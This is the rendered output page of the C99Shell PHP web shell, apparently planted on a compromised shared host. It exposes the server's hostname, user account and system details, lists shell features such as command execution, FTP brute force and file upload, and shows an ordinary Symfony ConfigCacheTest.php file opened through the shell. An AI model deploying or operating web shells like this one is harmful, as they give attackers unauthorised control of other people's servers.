!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Config/Symfony/Component/Config/Tests/   drwxr-xr-x
Free 293.99 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ConfigCacheTest.php (3.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Config\Tests;

use 
Symfony\Component\Config\ConfigCache;
use 
Symfony\Component\Config\Resource\FileResource;

class 
ConfigCacheTest extends \PHPUnit_Framework_TestCase
{
    private 
$resourceFile null;

    private 
$cacheFile null;

    private 
$metaFile null;

    public function 
setUp()
    {
        
$this->resourceFile tempnam(sys_get_temp_dir(), '_resource');
        
$this->cacheFile tempnam(sys_get_temp_dir(), 'config_');
        
$this->metaFile $this->cacheFile.'.meta';

        
$this->makeCacheFresh();
        
$this->generateMetaFile();
    }

    public function 
tearDown()
    {
        
$files = array($this->cacheFile$this->metaFile$this->resourceFile);

        foreach (
$files as $file) {
            if (
file_exists($file)) {
                
unlink($file);
            }
        }
    }

    public function 
testToString()
    {
        
$cache = new ConfigCache($this->cacheFiletrue);

        
$this->assertSame($this->cacheFile, (string) $cache);
    }

    public function 
testCacheIsNotFreshIfFileDoesNotExist()
    {
        
unlink($this->cacheFile);

        
$cache = new ConfigCache($this->cacheFilefalse);

        
$this->assertFalse($cache->isFresh());
    }

    public function 
testCacheIsAlwaysFreshIfFileExistsWithDebugDisabled()
    {
        
$this->makeCacheStale();

        
$cache = new ConfigCache($this->cacheFilefalse);

        
$this->assertTrue($cache->isFresh());
    }

    public function 
testCacheIsNotFreshWithoutMetaFile()
    {
        
unlink($this->metaFile);

        
$cache = new ConfigCache($this->cacheFiletrue);

        
$this->assertFalse($cache->isFresh());
    }

    public function 
testCacheIsFreshIfResourceIsFresh()
    {
        
$cache = new ConfigCache($this->cacheFiletrue);

        
$this->assertTrue($cache->isFresh());
    }

    public function 
testCacheIsNotFreshIfOneOfTheResourcesIsNotFresh()
    {
        
$this->makeCacheStale();

        
$cache = new ConfigCache($this->cacheFiletrue);

        
$this->assertFalse($cache->isFresh());
    }

    public function 
testWriteDumpsFile()
    {
        
unlink($this->cacheFile);
        
unlink($this->metaFile);

        
$cache = new ConfigCache($this->cacheFilefalse);
        
$cache->write('FOOBAR');

        
$this->assertFileExists($this->cacheFile'Cache file is created');
        
$this->assertSame('FOOBAR'file_get_contents($this->cacheFile));
        
$this->assertFileNotExists($this->metaFile'Meta file is not created');
    }

    public function 
testWriteDumpsMetaFileWithDebugEnabled()
    {
        
unlink($this->cacheFile);
        
unlink($this->metaFile);

        
$metadata = array(new FileResource($this->resourceFile));

        
$cache = new ConfigCache($this->cacheFiletrue);
        
$cache->write('FOOBAR'$metadata);

        
$this->assertFileExists($this->cacheFile'Cache file is created');
        
$this->assertFileExists($this->metaFile'Meta file is created');
        
$this->assertSame(serialize($metadata), file_get_contents($this->metaFile));
    }

    private function 
makeCacheFresh()
    {
        
touch($this->resourceFilefilemtime($this->cacheFile) - 3600);
    }

    private function 
makeCacheStale()
    {
        
touch($this->cacheFiletime() - 3600);
    }

    private function 
generateMetaFile()
    {
        
file_put_contents($this->metaFileserialize(array(new FileResource($this->resourceFile))));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0919 ]--